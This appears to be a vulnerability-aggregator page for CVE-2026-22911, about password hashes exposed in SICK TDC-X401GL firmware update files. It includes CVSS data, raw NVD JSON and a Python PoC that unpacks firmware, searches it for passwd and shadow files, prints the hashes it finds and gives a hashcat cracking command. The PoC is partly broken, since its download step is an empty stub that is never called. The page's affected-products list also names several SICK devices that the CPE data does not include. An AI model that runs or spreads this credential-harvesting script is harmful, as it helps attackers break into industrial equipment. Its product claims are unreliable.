Security Vulnerability Report
中文
CVE-2026-22911 CVSS 5.3 MEDIUM

CVE-2026-22911

Published: 2026-01-15 13:16:06
Last Modified: 2026-01-23 15:36:00

Description

Firmware update files may expose password hashes for system accounts, which could allow a remote attacker to recover credentials and gain unauthorized access to the device.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:* - NOT VULNERABLE
SICK Flexi Soft FX3-CPU3 < latest firmware version
SICK S3000 Safety Laser Scanner < latest firmware version
SICK MicroScan3 Pro < latest firmware version
SICK TiM-S/TiM-L LiDAR Sensors < latest firmware version
SICK Inspector PI70 < latest firmware version
Multiple SICK industrial automation products with affected firmware

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22911 PoC - SICK Device Firmware Password Hash Extraction This PoC demonstrates how to extract password hashes from SICK device firmware. Note: For authorized security testing only. """ import os import sys import subprocess import re import zipfile import tarfile def download_firmware(firmware_url, output_path): """Download firmware update file""" print(f"[*] Downloading firmware from {firmware_url}") # wget/curl command would be used here pass def extract_firmware(firmware_path, extract_dir): """Extract firmware archive""" print(f"[*] Extracting firmware: {firmware_path}") if firmware_path.endswith('.zip'): with zipfile.ZipFile(firmware_path, 'r') as zip_ref: zip_ref.extractall(extract_dir) elif firmware_path.endswith(('.tar', '.tar.gz', '.tgz')): with tarfile.open(firmware_path, 'r:*') as tar_ref: tar_ref.extractall(extract_dir) else: # Try binwalk for compressed firmware subprocess.run(['binwalk', '-e', firmware_path, '-C', extract_dir]) def find_password_hashes(extract_dir): """Search for password hash files in extracted firmware""" print(f"[*] Searching for password hashes in {extract_dir}") hash_files = [] hash_patterns = [ r'root:.*:\d{10}:', # /etc/passwd format r'\$[1-6]\$.{8,16}\$.{22,86}', # Unix shadow hash r'[a-f0-9]{32}', # MD5 hash r'[a-f0-9]{40}', # SHA1 hash ] for root, dirs, files in os.walk(extract_dir): for file in files: filepath = os.path.join(root, file) if file in ['passwd', 'shadow', 'passwd.db', 'shadow.db', 'user.db', 'creds.dat']: print(f"[+] Found credential file: {filepath}") hash_files.append(filepath) return hash_files def extract_hashes_from_file(filepath): """Extract and display password hashes""" print(f"[*] Analyzing {filepath}") with open(filepath, 'r', errors='ignore') as f: content = f.read() # Extract Unix password hashes unix_hashes = re.findall(r'(\w+:\$[1-6]\$[^:]+)', content) if unix_hashes: print(f"[+] Found Unix password hashes:") for h in unix_hashes: print(f" {h}") return unix_hashes def main(): print("=" * 60) print("CVE-2026-22911 PoC - SICK Firmware Hash Extraction") print("=" * 60) # Step 1: Download firmware firmware_url = "https://www.sick.com/firmware/SICK_device_firmware.zip" firmware_path = "/tmp/SICK_firmware.zip" extract_dir = "/tmp/firmware_extracted" os.makedirs(extract_dir, exist_ok=True) # Step 2: Extract firmware extract_firmware(firmware_path, extract_dir) # Step 3: Find password hash files hash_files = find_password_hashes(extract_dir) # Step 4: Extract hashes all_hashes = [] for hf in hash_files: hashes = extract_hashes_from_file(hf) all_hashes.extend(hashes) if all_hashes: print(f"\n[!] Successfully extracted {len(all_hashes)} password hash(es)") print("[*] Use hashcat/john to crack: hashcat -m 1800 hashes.txt wordlist.txt") else: print("[!] No password hashes found") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22911", "sourceIdentifier": "[email protected]", "published": "2026-01-15T13:16:05.813", "lastModified": "2026-01-23T15:35:59.573", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Firmware update files may expose password hashes for system accounts, which could allow a remote attacker to recover credentials and gain unauthorized access to the device."}, {"lang": "es", "value": "Los archivos de actualización de firmware podrían exponer hashes de contraseñas para cuentas del sistema, lo que podría permitir a un atacante remoto recuperar credenciales y obtener acceso no autorizado al dispositivo."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:sick:tdc-x401gl_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "59BB5012-A895-4A93-B36F-A062A9389DB1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:sick:tdc-x401gl:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A95E220-0816-4885-AB7C-D0BB6F27DB7A"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0001.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}